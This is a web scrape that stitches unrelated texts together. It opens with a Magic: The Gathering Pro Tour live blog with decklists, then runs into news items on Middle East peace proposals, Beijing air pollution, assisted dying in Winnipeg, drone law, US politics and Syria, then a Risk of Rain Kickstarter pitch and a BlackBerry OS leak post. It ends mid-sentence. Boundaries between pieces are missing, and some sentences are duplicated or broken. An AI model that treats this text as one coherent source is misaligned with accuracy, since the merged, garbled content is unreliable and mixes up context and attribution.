Gearhulk 2x Nahiri, the Harbinger 3x Dynavolt Tower 4x Galvanic Bombardment 4x Incendiary Flow 4x Harnessed Lightning 2x Void Shatter 1x Spell Shrivel 2x Negate 4x Glimmer of Genius 4x Anticipate Dynavolt Tower has moved up to $3.00 online, but vendors are adding copies as low as $.50. One of these decks needs to Top 8 to avoid a backslide. Cut for Top 8 is being reported as likely to extend only to 13-3. Ben Weitz is talking to Marshall Sutcliffe about his White/Colorless Eldrazi brew, which went 5-1 on day 1. Round 13 (7th Round of Standard): Oliver Polak-Rottman (Temur Colossus) vs. Pierre Dagen (UR Spells) Both players come into the round at 10-3, needing to win to stay live for Top 8. Oliver takes Game 1 by repeatedly bashing in with 10/10s artifact creatures. In Game 2, he manages to get three copies of his signature beatstick into play and Dagen is forced to lean heavily on Niblis of Frost activations to hold off the metallic offensive. One stunning turn later however, Dagen pushes the match into a tie-breaker, by eeking through eleven damage between prowess triggers on both Niblis of Frost and the activation of a Dynavolt Tower. Plenty of Metalwork Colossus inventory now posted in the $3.50-$4 range. Deck feels a bit niche to me, and I don’t see it taking more than 10% of the meta moving forward. In Game 3, a Confiscation Coup from Oliver is met by Void Shatter, but it is countered by Ceremonious Rejection and Oliver manages to steal a Dynavolt Tower, leaving another on Dagen’s side of the board. Oliver is then able to get a Metalwork Colossus into play on the back of the extra non-creature artifact now in play on his side. Dagen however, has a super-powered Harnessed Lightning to take down the first Colossus, with Oliver quickly following up with another from his yard. LSV calls out Niblis of Frost as doing amazing work out of the board, especially when opponents take out their removal. Indeed, Dagen uses the Niblis to hold back the remaining Colossus, gets a Torrential Gearhulk down and starts rolling a train of instants and energy generation to take control of the game. Dagen takes the match and stays live with his innovative UR Dynavolt Tower deck. Reid Duke (RW Vehicles) vs. Kenji Tsumura (BG Delirium) We come in on this and Duke finally puts Chandra, Torch of Defiance on camera out of his sideboard. The beleagured planeswalker is quickly killed however, and the match is split, heading to a third game after a key Kalitas, Traitor of Ghet makes combat too tricky for Reid. Off camera a bit later however, Reid is able to take the match. Deck Tech #5: Frank Karsten (Mardu Zoo) 4x Inventor’s Apprentice 4x Toolcraft Exemplar 4x Thraben Inspector 1x Depala, Pilot Exemplar 3x Pia Nalar 3x Veteran Motorist 4x Scrapheap Scrounger 4x Smuggler’s Copter 2x Fleetwheel Cruiser 1x Incendiary Flow 1x Declaration in Stone 4x Fiery Temper 1x Key to the City 1x Gideon, Ally of Zendikar Franks mentions that he found that the other aggro decks were step behind this build in presenting early game pressure. Standings after this round look like this: ADVERTISEMENT: Decks in contention are all over the map so far, with no clear theme. RB and RW Aggro, Grixis Control, Aetherworks Combo, Colossus, UR Control and UR Emerge are all live. Round 14 (Standard Round 8): Lee Shi Tian (Mardu Vehicles) vs. Raphael Levy (UR Emerge) Lee Shi Tian’s consistent aggro plan plays out as per normal again this round, allowing him to claim first blood yet again. In Game 2 Levy is forced to mulligan on the play against the last deck you want to stumble against. Levy is running a copy of Nahiri’s Wrath out of the board, which boasts nice synergy with Stitchwing Skaab and Prized Amalgam. He puts the power to use to clear the early assault cluster from Lee. Round 14 (Standard Round 8): Makis Matsoukas (R/W Tokens) vs. Rob Pisano (Temur Aetherworks) Matsoukas has Reckless Bushwacker in his deck to assist in the go wide plan and he makes great use of it in Game 2 to take down the match in record time when he applies it to five attackers. Round 14 (Standard Round 8): Shota Yasooka (Grixis Control) vs. Rich Hoaen (Temur Aetherworks) The control is real as Yasooka takes this down without a lot of trouble. Counterspells are showing their value every round, but this one has a truly great sequence at the end. Yasooka is at four cards in library and has a Thing in the Ice with two counters. He casts Painful Truths for three, and then Negates it, flipping his Horror and drawing a concession. Hoaen was stuck with multiple not-yet-castable Eldrazi in hand, later versions of this deck may adjust the threats. More Gearhulks anyone? The final Feature Match of the round doesn’t have more to add, except to show us how bad Chandra is against Vehicles. Her price is still on the decline until she’s able to stay in play. Round 15 (Standard Round 9): Shota Yasooka (Grixis Control) vs. Reid Duke (RW Vehicles) Game 1 felt over after two early Galvanic Bombardment from Yasooka blunted Duke’s early creatures, but aggro takes it down anyway. Game 2 shows us the spell-Negate my spell trick to flip Thing in the Ice again, and only a couple of attacks are needed to win it. Yasooka is still playing Jace, Unraveler of Secrets, which seems amazing. If Duke attacks it, Jace has replaced himself and gained some nice life. If he doesn’t, the card advantage is real. It’s only a two-of, though, so big movement is probably unlikely. Game 3 is a clinic, as the control deck uses life totals and Weaver of Lightning triggers very well, even managing to fire off a Jace ultimate! A late Chandra, Torch of Defiance just isn’t enough and Duke picks up his fourth loss. Will we get to see Chandra be good on camera as these rounds progress? Jun Ishihara (Temur Emerge) vs. Tyler Hill (BG Delirium) This games ends up in a draw after an epic Game 2 with multiple Emrakul’s in play between the two players. Matt Nass is in with Temur Emerge, so is Makis Matsoukas (R/W Tokens). Deck Tech #6: Oliver Polak-Rottman (Temur Colossus) Oliver describes how Sanctum of Ugin allows you to chain Metalwork Colossus, with the dream draw leading to four copies on Turn 4. It’s a combo deck and Sylvan Scrying adds consistency by finding the Sanctum of Ugins. More reliable than Aetherworks in his opinion. Colossus is pushing $4 at this point. 4 Sanctum of Ugin 2 Inventor’s Fair 4 Sylvan Scrying 4 Metalwork Colossus 4 Hedron Archive 4 Prophetic Prison 3 Deadlock Trap 4 Woodweaver’s Puzzleknot 3 Skysovereign, Consul Flagship 3 Cultivator’s Caravan 4 Glint-Nest Crane 1 Elder Deep-Fiend 2 Select for Inspection (Oliver says he’d replace these with more artifacts) 1 Hanweir Battlements Pierre Dagen manages a tough match win against Ondrej Strasky, to keep his Top 8 hopes alive, making UR Control live for Top 8. Predicting Top 8 to include: Grixis Control, UR Control, Temur Emerge, R/W Tokens so far. This format is wide open. My gut says that Temur Aetherworks is going to be dust binned after this tournament as a strategy that is simply too inconsistent. Need to see the win %s on this deck on Day 2. Round 16 (Final Round of Standard): Tyler Hill (BG Delirium) vs. Carlos Romao (Jeskai Control) Both of these players are playing for access to the Top 8, at 11-3-1. Hill’s delirium deck isn’t much different than versions from a month ago. Romao is running Dovin Baan, Torrential Gearhulk, and many of the UR control components we’ve seen all weekend. Game 1 Carlos gets off a two target Quarantine Field on Kalitas and Mindwrack Demon to empty the board. This opens up a sequence a few turns later where Carlos finds himself with a pair of Torrential Gearhulks in play, and the onslaught is too much for Hill to deflect. Romao is now a game away from making Top 8 of the Pro Tour only a week after winning his 2nd GP of the season. Impressive! In Game 2, Romao gets a Dovin Baan out onto an empty board, but it gets answered quickly by Hissing Quagmire. Hill then answers with Liliana, the Last Hope, only to have it countered. Another Liliana is answered just as quickly by a Torrential Gearhulk into Harness Lightning. A late Quarantine Field later takes out three threats on Hill’s side, and the board opens up for aggression by the Jeskai player and Romao pulls another control deck into the Top 8. Round 16: Matt Nass (Temur Aetheworks) vs. Pierre Dagen (UR Control) Dagen has taken the first game off camera. Pierre takes the match as well, and clinches Top 8 for both players. Joey Manner is ghosting into Top 8 with a UW Flash Spirits deck, running Archangel Avacyn, Smuggler’s Copter, Spell Queller and co, knocking a Temur Emerge deck out of the final day. James Chillcott is the CEO of ShelfLife.net, The Future of Collecting, Senior Partner at Advoca, a designer, adventurer, toy fanatic and an avid Magic player and collector since 1994. ADVERTISEMENT: -A group of over 200 retired Israeli military and intelligence officials have offered a detailed plan of action to reach a settlement of the conflict with the Palestinians, criticizing the far-right government for not making any progress to that end. The proposal in particular pushes for an immediate, full freeze in settlement expansion to “preserve conditions” that might lead to future Palestinian statehood, along with a formal recognition that occupied East Jerusalem will inevitably be part of a future independent Palestine. As to the process for negotiating statehood, the plan recommends accepting the Arab Peace Initiative, a plan which offers Israel normalized ties with the entire Arab world in return for a withdraw from the occupied territories and a negotiated settlement of the Palestinian refugee problem. All of these ideas are non-starters for the current far-right government, with even preliminary measures like a settlement freeze being loudly and repeated repudiated by virtually all of the top officials in the current government. After 14 solid years of ignoring the Arab Peace Initiative, the new proposal reveals that Israel’s security establishment doesn’t think it’s a bad bargain in the first place, and it is the political leadership that is keeping peace from being realized. Last 5 posts by Jason Ditz -Oded Balilty / AP A man flies a kite at Tiananmen Square on a heavily polluted day in Beijing, Dec. 27, 2007 While Steven Spielberg's withdrawal from his role as an artistic adviser was a public relations blow to the Beijing Olympics, the announcement this week that Haile Gebrselassie would not run in the marathon at this summer's Games hints at a more serious challenge facing the organizers. Unlike Spielberg's, the decision of the Ethiopian world record holder in the marathon has nothing to do with politics: Gebrselassie is asthmatic, and he is concerned that Beijing's polluted air could damage his health over the 42-kilometer race. (He still plans to run the far shorter 10,000-meter event.) And the Ethiopian's concern has underscored the stakes in a showdown between city officials and an 26-year-old American environmental consultant who has raised serious questions about Beijing's official air pollution statistics. Steven Q. Andrews has written two op-eds for the Asian version of the Wall Street Journal, in which he accuses Beijing's Environmental Protection Bureau of tweaking its method of calculating the city's air pollution index. That index is critical, because it is used to tabulate "blue sky days," which are the chief measure of Beijing's ability to control air pollution. When the blue-sky program was launched in 1998, there were just 100 days; last year the city recorded 246. But Andrews alleges that by changing the makeup of Beijing's air-pollution index, and dropping monitoring sites in areas with poor air quality, the city has been able to show improvements that don't match the reality of its smoggy skies. Andrews first encountered bureaucratic evasion on environmental issues while doing research in 2003-04 on coal fires in China that became part of his senior thesis at Princeton. Such fires, which can occur naturally or are ignited by mining operations, are found worldwide and can burn for years, causing heavy environmental damage. In China's western Xinjiang province, Andrews visited a site where authorities had claimed a long-burning fire had been put out. "I decided go to see how it was extinguished, and flames were visible and the entire thing was still burning," he says. "They said it was put out, and who is to say otherwise?" On returning to China after a stint doing humanitarian work in Africa, his experience at the Xinjiang coal fire prompted him to research Beijing's air-pollution reports. In 2006 and 2007 Andrews worked at the Natural Resources Defense Council's office in Beijing while on a fellowship with the Princeton In Asia program. But Andrews stresses that he did the research that has put him at loggerheads with the authorities independently of the NRDC, which has posted a statement on its website dissociating itself from Andrews' air pollution study. Using only the data that had been officially released by the State Environmental Protection Bureau and the Beijing Environmental Protection Bureau, Andrews has raised questions about just how Beijing managed to meet its blue-sky targets. In 2000, the city stopped including measurements of nitrogen oxides in its tabulations of the air pollution index, and instead measured nitrogen dioxide. While switching the pollutant measured isn't necessarily a problem, Andrews claims, nitrogen dioxide was a smaller contributor to the overall air pollution index score. Similarly, two monitoring stations located in high transportation areas that had consistently contributed to high API scores were dropped out of the tabulations in 2006. Had those stations not been dropped from the equation, Beijing would have had 38 fewer blue sky days in 2006 and 55 fewer last year, which would have made for total lower than that in 2002, Andrews says. He also noted that in 2006 and 2007, there was a concentration of days with API levels at or below the 100-point cut off, but few just above. That imbalance began after the city began setting targets for individual monitoring stations, he says. The response from the government has come from Du Shaozhong, the deputy head of the Beijing Environmental Protection Bureau. He was named one of China's top "green personalities" in 2006 for his work in reducing pollution, including program to urge Beijing car owners to give up driving one day a month. When asked at a press conference last month about Andrews' allegations that the city that the city stopped including the results from certain air monitoring stations to increase blue-sky days, Du responded, "This phenomenon does not exist." He said that the placement of Beijing's air pollution monitors met national regulations, and that concentrations of pollutants had further improved in January and February. Beijing has spent nearly $17 billion to improve its environment ahead of the Olympics. The government plans to limit car traffic during the event, and is continuing a program of closing and moving the most polluted factories away from the city. This week plans were announced to suspend all construction projects between July 21 and September 20. And observers believe the authorities will take even more extreme measures, such as extending the car reduction plan to weeks before the Aug. 8 Olympic start date if it appears that pollution targets won't be met. Andrews is more concerned about what will happen after this summer's games. "There are legitimate concerns about air quality during the Games," he says. "But there's a bigger question: is there a sustainable legacy?" -Two faith-based hospitals in Winnipeg say they will not be providing doctor-assisted deaths to their patients. Both Concordia Hospital (Anabaptist-Mennonite) and St. Boniface Hospital (Catholic) say they will not offer the legal service to patients. In June, the federal government amended the criminal code with Bill C-14 to allow doctors and nurse practitioners to help patients with "grievous and irremediable" illnesses to die. Manitoba introduced its own policy to implement medical assistance in dying, commonly called MAID, that same month. In an advertisement published in The Herald, a community paper in Winnipeg, Concordia Hospital's board of directors said it had created a policy to ban medical assistance in dying after receiving input from the professional bodies and consulting with Concordia doctors and staff. The ad also includes a form to make financial donations to the hospital. The ad which appeared in Wednesday edition of The Herald. (Canstar Community News/Winnipeg Free Press) The advertisement states hospital board members and Concordia's spiritual care manager attended Mennonite and other faith-based sessions on assisted dying. "Concordia believes that providing health care is a ministry assigned to us by Christ and is expressive of our Anabaptist faith, values and ethics," the advertisement reads. "As such, our opposition to the practice of MAID based on our ethical and moral beliefs needs have been recognized and honoured by the WRHA, and Concordia Hospital and Concordia Place will not offer the service of MAID." Arthur Schafer, director of the Centre for Professional and Applied Ethics at the University of Manitoba, said it is "disturbing" that a publicly funded hospital wouldn't offer the full range of health services to patients who want and need them. "The idea that patients who live in Concordia Place for example — that's their home — and if they wish to die at home, the fact that the church with whom the hospital is affiliated doesn't approve of that, shouldn't limit [the patient's] fundamental right." "No patient should be denied their wish to die at home, to die where they're living." Hospitals don't have the right: Schafer Schafer said while doctors and nurses are entitled to conscientiously object from administering a medically assisted death, a hospital or institution does not have the same right. The federal legislation acknowledges personal beliefs and does not force any person or health care worker to provide medical assistance in dying. University of Manitoba ethics professor Arthur Schafer argues hospitals do not have a right to impose their beliefs about assisted deaths on health care workers, patients or the general public. (CBC) "The people who work within those institutions have a conscience, the institution doesn't," he said. "Their belief, which is a legitimate religious conviction they have, shouldn't be imposed on patients, doctors, nurses or the general public." A spokesperson for St. Boniface Hospital said while the institution is not participating in MAID, it will work with patients to facilitate a transfer. Concordia Hospital said it will treat patients requesting MAID with "compassion" and connect them with the provincial medical assistance in dying clinical team. The WRHA told CBC it has accommodations for patients who live at or are being treated in a faith-based facility to receive MAID at another facility. Assessments by the MAID clinical team can be done either at the faith-based institution or outside, depending on the preference of the hospital. The clinical team would then help facilitate the death outside the faith-based institution. "This ensures people from across the province can access the service, while respecting our commitment to the faith-based facilities," said a WHRA spokesperson. In Canada there are two legal forms of medically assisted death: the first involves a health practitioner injecting a drug, called voluntary euthanasia. In the second, a health practitioner provides or prescribes a drug that is self-administered to cause death, known as medically assisted suicide. -(TNS) -- The U.S. Senate has crowned the Federal Aviation Administration the nation’s drone regulator, saying federal laws covering everything from safety to design pre-empt any enacted by states and localities. Though the FAA controls all U.S. airspace from the ground up, some local governments around the nation have passed their own drone restrictions to protect privacy and safety. The Senate bill approved Tuesday says no state could enact a law about the “design, manufacture, testing, licensing, registration, certification, operation, or maintenance of an unmanned aircraft system, including airspace, altitude, flight paths, equipment or technology requirements, purpose of operations, and pilot, operator, and observer qualifications, training, and certification.” The bill must be reconciled with a House measure, which does not pre-empt local and state laws. The FAA is currently working to complete its first drone regulations. Noting a drone earlier this week is believed to have hit a British Airways plane headed to London Heathrow airport, Sen. Chuck Schumer (D-N.Y.) said Wednesday that he inserted a tech-enabled safety provision in the Senate bill. “Geo-fencing drone technology could soon be installed on every new drone, helping to stop them from flying near airports and other sensitive areas, while still allowing hobbyists to fly them in safe places,” Schumer said in a statement. Using GPS, geo-fencing would block drones from “No Fly” areas, such as the White House, major parades and sporting events. The FAA also should explore the use anti-drone technology at airports and on aircraft, Schumer’s office said. ——— ©2016 Newsday Visit Newsday at www.newsday.com Distributed by Tribune Content Agency, LLC. -According to multiple witnesses, as well as the victim of the ugly episode, the leading Democrat in the Senate, New York's own Chuck Schumer, lost it at a swanky Manhattan restaurant on Sunday after he learned that a well-connected woman had voted for Donald Trump. After making a scene inside by declaring "She voted for Trump!" Schumer allegedly followed the woman and her well-known Democrat husband outside, repeatedly screaming, "He's a liar!" The alleged incident took place on Sunday night at Upper East Side restaurant Sette Mezzo, where according to witnesses who spoke with Page Six, Schumer was dining with friends when he encountered long-time Democrat Joseph A. Califano Jr., a member of the board of directors at CBS who "served as the United States Secretary of Health, Education, and Welfare from 1977 to 1979, and he served as President Lyndon B. Johnson’s Assistant for Domestic Affairs from 1965 to 1969." Califano was accompanied by his "wealthy and well-connected" wife, Hillary, who is the daughter of CBS founder William S. Paley. According to witnesses, Hillary and Joseph were sharing a "quiet dinner" until Schumer went off: Onlookers said Schumer was incensed that Hilary — the daughter of William S. Paley, the founder and chairman of CBS — had voted for Trump, even though her husband, Joseph, is a well-known Democrat. One witness said of the restaurant rant, “They are a highly respected couple, and Schumer made a scene, yelling, ‘She voted for Trump!’ The Califanos left the restaurant, but Schumer followed them outside.” On the sidewalk, Schumer carried on with his fantastical filibuster: “ ‘How could you vote for Trump? He’s a liar!’ He kept repeating, ‘He’s a liar!’ ” Page Six reached out to Hillary, who confirmed the story. "Sen. Schumer was really rude," she said, adding, "He’s our senator, and I don’t really like him. Yes, I voted for Trump. Schumer joined us outside and he told me Trump was a liar. I should have told him that Hillary Clinton was a liar, but I was so surprised I didn’t say anything." For those concerned about Schumer's impeccable reputation for equanimity and professional comportment, not to worry. Clearly, Schumer, like his fellow Democratic colleagues (including the fair and balanced Nancy Pelosi and Maxine Waters), is a victim of the "climate of hatred" promoted by Donald Trump. Meanwhile, if you see Schumer out and you happened to have voted for Trump, you might want to avoid mentioning that fact. -EPA accidentally quotes senator who rails against Trump's executive order President Donald Trump listens during a meeting in the Roosevelt Room of the White House in Washington, Thursday, March 9, 2017. Before most people are out of bed, Trump is watching cable news. Indeed, with Twitter app at the ready, the man who condemns the media as �the enemy of the people� may be the most voracious consumer of news in modern presidential history. (AP Photo/Evan Vucci) less President Donald Trump listens during a meeting in the Roosevelt Room of the White House in Washington, Thursday, March 9, 2017. Before most people are out of bed, Trump is watching cable news. Indeed, with ... more Photo: Evan Vucci, Associated Press Photo: Evan Vucci, Associated Press Image 1 of / 25 Caption Close EPA accidentally quotes senator who rails against Trump's executive order 1 / 25 Back to Gallery The Environmental Protection Agency is doing some damage control after mistakenly including a quote critical of President Donald Trump's rollback of Barack Obama's climate change policies in an otherwise praising press release. The quote, which was misattributed to a coal industry-friendly Republican and West Virginia senator Shelley Moore Capito, actually came from Democratic Delaware senator Tom Carper. In it, Carper says that Trump has "chosen to recklessly bury his head in the sand." "Walking away from the Clean Power Plan and other climate initiatives... is not just irresponsible — it is irrational," Carper said. "With the world watching, President Trump and Administrator (Scott) Pruitt have chosen to shirk our responsibility, disregard clear science, and undo the significant progress our country has made to ensure we leave a better, more sustainable planet for generations to come." This morning @EPA sent out a press release highlighting reaction to Trump's climate Executive Order...this first quote seems off message: pic.twitter.com/Na2EWCrBzj — Patrick Ambrosio (@Pat_Ambrosio) March 30, 2017 Trump has repeatedly called global warming and climate change a "hoax," "fictional," and "bulls***." EPA Chief Pruitt has also publicly rejected science demonstrating climate change. Following the discovery of the error on the release, the EPA apologized and sent a correction, providing the intended quote from Senator Capito voicing support for Trump's rollback of the Clean Power Plan. "President Trump kept his promise to roll back one of the most harmful acts of overreach by the Obama administration — the so-called Clean Power Plan," she said. "I was honored to join the President for the signing of this Executive Order, and I look forward to continuing working with the Trump administration to advance environmentally responsible policies that grow the economy — not kill jobs." -If you thought you heard The Tragically Hip playing in Hamilton on Saturday night, your ears weren't playing tricks on you. The Hip took to the stage for a private backyard party on Auchmar Road on the west Mountain, near Garth Street by the escarpment. Social media posts called the party "Silvana's birthday." Two neighbours said the home where the bash took place was that of Silvana DiCenzo, who is part of the family that operates DiCenzo Homes. A man tidying up the driveway of the home Sunday said he did not live there, but he confirmed the concert was The Tragically Hip. He said those at the home declined comment. The music started around 9 p.m., with the band playing for just under two hours. The concert could be heard over the edge of the Niagara Escarpment, giving a treat to Hip fans in the lower city as well as those in the neighbourhood. Dave Reed lives less than a kilometre away, below the Mountain near Beulah Park, and said he enjoyed the music with his wife. "We heard a party from the Mountain, and the band started into a Tragically Hip song. We figured it must have been a cover band, but they were doing an amazing job." After seeing reaction from others online and hearing that the band was apparently checked into the Sheraton Hotel earlier that day Reed sat on his front porch to take it all in. "My wife and I chilled out with our drinks, enjoying the live show. What a treat!" Partygoers took to social media to share photos and videos of the concert. Videos showed the set list included "My Music at Work" and "New Orleans is Sinking." -Federal authorities arrested 50 people for violating immigration laws in Detroit Saturday as part of an investigation into an alleged cockfighting and illegal gambling ring. U.S. Immigration and Customs Enforcement spokesman Khaalid Walls told the Detroit Free Press that 86 people were found inside an abandoned building. He added that those arrested will be held in ICE custody “pending removal proceedings.” Walls said the building was raided in part of an investigation that had been going on for several months, the paper reported. Officials said they found more than 100 birds in the building. Nearly 140 federal, state and local law enforcement officials were involved in the raid, which was led by Homeland Security Investigations. The Free Press reported that the U.S. Border Patrol, U.S. Agriculture Department and Detroit police assisted. One person was arrest on a criminal charge. The details of the arrests were not immediately available. Click for more from the Detroit Free Press. -MADISON, Wis. - Scott Resnick conceded the mayoral election to incumbent Paul Soglin Tuesday night. Resnick told News 3 he was calling Soglin to concede around 9:15 p.m. As of 9:30 p.m., Soglin had 72 percent of the votes with 71 percent of precincts reporting. "We knew we had an uphill battle," Resnick said Tuesday night. "Soglin had strong name recognition and showed he was favored by Madison residents." Soglin said his first priority is following through on housing and job commitments he's made, especially jobs for youth. Resnick, who currently holds a spot on Madison's common council and started his own business in his UW dorm, put equality gaps and fair Internet access at the top of his priority list during his campaign. Soglin said his chief goal for the next four years is to eliminate poverty in Madison. Soglin and Resnick faced off in multiple community debates, and addressed topics ranging from race and issues facing youth to affordable day care and body cameras. -Armed gangs in Syria are conspiring to stage a chemical attack in the Damascus suburbs in order to later lay the blame on the Bashar Assad’s government, Syria's UN Ambassador Bashar Jaafari has warned the Security Council. “Competent Syrian authorities intercepted a wireless communication between two terrorists in the Jawbar area of the Damascus governorate,” Jaafari said in a letter addressed to Secretary General Ban Ki-moon and the Security Council. The letter was published on Tuesday on the UN website. In that communication, the diplomat said, one “of the terrorists said that another terrorist named Abu Nadir was covertly distributing gas masks.” The Syrian security services, Jaafari said, also intercepted another communication between militants one of whom was called Abu Jihad. During that conversation, the latter indicated that toxic gas would be used and “asked those who are working with him to supply protective masks.” Back in March, Jaafari informed the Security Council that a person named Haytham Salahuddin Qassab “transported chemical substances from Turkey on behalf of the terrorist organization known as Ahrar al-Sham.” He allegedly purchased the chemical agents from Turkey’s Dharwa Import and Export Company. The substances reportedly included among others white phosphorous and isopropyl hydroxylamine. It was alleged, Jaafari said, that militants planned to use them to produce white smoke in certain areas and later claim that Syrian planes had bombed them. “However, the primary reason for requesting those substances was to use them as chemical weapons,” the Syrian diplomat warned. The information in the previous letter along with new details obtained from the intercepted communications confirm “that armed terrorist groups are preparing to use toxic gas in the Jawbar quarter and other areas, in order to accuse the Syrian Government of having committed such an act of terrorism,” Jaafari said. Syria’s UN Ambassador confirmed his concerns to RT Arabic. He said that militants had earlier followed a similar scenario in the chemical attacks in Allepo and in the Damascus suburb of Ghouta, when they blamed Assad’s forces for the deadly incidents. Jaafari said that the UN is currently considering the issue. The Secretary General as well as the Coordinator of the UN-OPCW joint mission to eliminate Syria’s chemical weapons program, Sigrid Kaag, are also being kept up to speed with developments. Syria agreed to the destruction of its chemical weapons arsenal through a deal brokered largely by Russia, after the US threatened to use military force against the country. That followed a deadly chemical attack in the Damascus suburb of Ghouta in August, 2013. The Syrian government and the opposition have pointed the finger of blame at each other over the incident that killed hundreds, and both have denied their involvement. So far, 49 percent of the raw materials for Syria's poison gas and nerve agent program scheduled for destruction have been shipped overseas, the Organization for the Prohibition of Chemical Weapons (OPCW) said last week. The rest is expected to leave the country by the end of April, the global chemical weapons watchdog added in a report to the UN, reported AP. The total amount of chemicals either removed or already destroyed inside Syria is 53.6 percent. According to the OPCW, Damascus pledged to remove all chemicals by April 13, except for those in areas “that are presently inaccessible,” which face an April-27 deadline. But so far the deadlines have not been met, with the Syrian government blaming the unstable situation inside the country. Under the deal, some chemicals are to be destroyed at facilities in the US and Europe, while a large part of the toxic material is to be eliminated on board a ship at sea. Syria has declared around 700 tons of the most-dangerous chemicals, 500 tons of less-dangerous precursor chemicals and 122 tons of isopropanol – an active ingredient in sarin gas production. The deadline for the mission’s completion is June 30. -Due to popular request from backers, we have added stretch goals! We will post them one by one; as soon as one goal is hit, we will reveal the next! Note that these stretch goals will be added post-release, in a free patch. $10,000 (REACHED!) - Arena Mode! Fight against incoming waves of randomized monsters , eventually leading to a slew of bosses . Items will be randomly distributed around the arena. Hitting certain rounds of the arena will also allow you to unlock a variety of content! - Fight against incoming waves of , eventually leading to a . Items will be randomly distributed around the arena. Hitting certain rounds of the arena will also allow you to $15,000 (REACHED)- Game Mutators! By finding hidden mutators inside the game, you will unlock the option to customize the game as you see fit! Enable mutators like: Double Spawn: While monsters will have 30% less health, they will now spawn twice as frequently. Monster Affinity: Only one kind of monster can spawn, randomly chosen at the beginning of every level. Top 1%: Every monster will spawn as an elite with elemental properties. Shell Shock: Dropping below 50% health replaces all your items with another item from the same tier. And many, many more! By finding hidden mutators inside the game, you will unlock the option to customize the game as you see fit! Enable mutators like: $15,000+ At this point, we have jam-packed our game with as much content as possible. We promise to keep updating the game into the foreseeable future. Thank you very much guys; to think we ever hit $15,000! Games with roguelike elements have recently had a large jump in popularity. However, most players find these games hard to get into: they are usually exceedingly complex in UI and game rules. Risk of Rain is an action platformer with roguelike elements aimed to revitalize the genre with stylized graphics and an intuitive gameplay scheme that teaches itself, rather than having to be taught. The three main goals for our game are simple: 1. Design a game that is randomly generated every play-through, to keep replayability high and fresh. 2. Time = difficulty. The longer you play, the harder the game gets. Keeping a sense of urgency keeps the game exciting! 3. Be enjoyable, regardless of whether you win or lose. No more fussing with complex and non-intuitive gameplay patterns. Players should not blame the game for their loss! Want to try the game NOW? Download the Demo for Risk of Rain, free! "..feels polished and raw even in its current form, perfectly capable of drawing you back again and again." - Chris Priestman via IndieStatik Features Play as 10 different characters , from the Commando to the Miner to the Engineer. , from the Commando to the Miner to the Engineer. Fight over 20 different enemies and over 10 bosses , randomly chosen by the game with random abilities and powers. and , randomly chosen by the game with random abilities and powers. Acquire 100+ items through unique chests and shrines, all with their own risks and rewards. through unique chests and shrines, all with their own Discover 13+ levels with different enemies, shrines, and chests on each one! with different enemies, shrines, and chests on each one! Recruit the help of 10+ drones , from missile drones to healing drones! , from missile drones to healing drones! Unlock the lore of the game through the item and monster log! through the item and monster log! Get new items and characters through achievements Save your best highscores! As I'm sure most of you know, college students aren't known for their large amounts of pocket change. While we have gone this far on a personal fund of $100.00, we simply aren't talented enough to make our own music! When we contacted the very talented Chris Christodoulou and he wanted to be on the project, we knew that we had to have him!. In general, your pledge money will go towards: Paying for music . With quite a few different stages planned, we will need lots of unique music to fit the quality of our game. . With quite a few different stages planned, we will need lots of unique music to fit the quality of our game. Upgrading GameMaker . While we have gone off an older version, purchasing either GM Studio or GM 8.1 will allow us to not only have increased performance, but possibly Mac, Linux, and other platform support as well! . While we have gone off an older version, purchasing either GM Studio or GM 8.1 will allow us to not only have increased performance, but Quality assurance! Any left over money will be spent on improving and refining the game to be as good as possible. We have two members on the team; Duncan is the programmer and artist while Paul handles public relations and helps with game design. Both attend University of Washington! Helping us with music is Chris. The game began as sketches on the back of scrap paper. As we kept brainstorming, the game we were talking about sounded.. fun! We have been working on Risk of Rain for about 5 months, and the feedback we have received so far is incredible. Having never released any games to the public, it's exciting to see that we can make something that many people enjoy. Thanks to many of our fans, we now have a working demo version of Risk of Rain, free to download. For those who want to see the game in action, the demo is for you! While the demo has quite a few features, the final game will have a lot more for the player! In short, More items! While the demo has only 13 items, the final release will have over 100! While the demo has only 13 items, the final release will have More classes! The final game is planned on having 10 playable classes. The final game is planned on having 10 playable classes. Monster Log and Highscores. The monster log is a bestiary where you can learn about the stats of monsters and their lore and history in the universe. Highscores allow you to compete with friends and yourself, along with seeing which achievements you have to unlock! The monster log is a bestiary where you can learn about the stats of monsters and their lore and history in the universe. Highscores allow you to compete with friends and yourself, along with seeing which achievements you have to unlock! More stages! The full game will feature a variety of different stages for the game to choose from, making each run different and exciting. The full game will feature a variety of different stages for the game to choose from, making each run different and exciting. More gamemodes! While the final game will have an ending, modes like survival mode are in the works. While the final game will have an ending, modes like survival mode are in the works. Generally speaking, more content. Fans who pledge $25 or more will gain access to the closed beta. Being in the closed beta will allow you to play the game while it's in development. This also gives you the opportunity to help shape and give valuable feedback. Not only that, but you get to play with new content before everyone else! The closed beta will start as soon as possible, with the latest being at the end of our 30 day Kickstarter. Please remember that PC is the only platform supported for the closed beta! Want to stay up-to-date with all Risk of Rain News? Thank you to all of the fans who have followed us in development so far. Your feedback on the alpha versions of the game were priceless, and your praise kept us going. It's amazing that we have a fanbase of people who enjoy our hobby; gamemaking. We truly hope that we can meet and surpass all of your expectations, regardless of the pledge amount. Thank you to all our fans on AGDG, tumblr, indiedb, and everywhere else. Thank you so much. -Well, you've been teased and tortured with a plethora of images and even video but now OS 10.3.0.296 has leaked. At this point, some of the stuff we've seen teased is in the OS and some of it is not, you'll just have to go through it all to find out what's there and what's not. Also of note, it's not available for all devices but if you have a BlackBerry Z10 STL100-3 then you can go ahead and give it a go and I'm sure some autoloaders will get made for other devices eventually. You're on your own for a full change log, we dunno how the battery life is and we're not entirely too sure if all your apps will work as expected or if it'll turn your device into a Decepticon and destroy your whole city. If you're not down with that then let some other folks run through it first. Eventually a thread will be created in the forums with the all the different changes this OS brings so if you're not willing to risk loading the OS, just hang tight and see how others like it. It should be noted, this is an older build than some of what has been shown off recently. Of course, standard disclaimer applies. Be sure to perform a full backup using BlackBerry Link before you install any OS and don't hold us responsible should anything go bad — though you can always reload your OS. In fact, if you load this there's a good chance you're gonna wipe it anyway and go back to something more stable. Source: ZonaBB -PoliZette Ted Cruz: Catch and Release of Illegal Immigrants Is ‘Troubling’ The Obama-era practice of turning aliens loose and asking them to return for a court hearing has not stopped Sen. Ted Cruz (R-Texas) sounded an alarm this week that the infamous “catch-and-release” policies of Barack Obama’s administration have not fully ended. Cruz questioned Attorney General Jeff Sessions about it during his appearance before the Senate Judiciary Committee on Wednesday. Advertisement [lz_jwplayer video=DLGgNw3s] “That is highly troubling,” Cruz said. “When I heard those 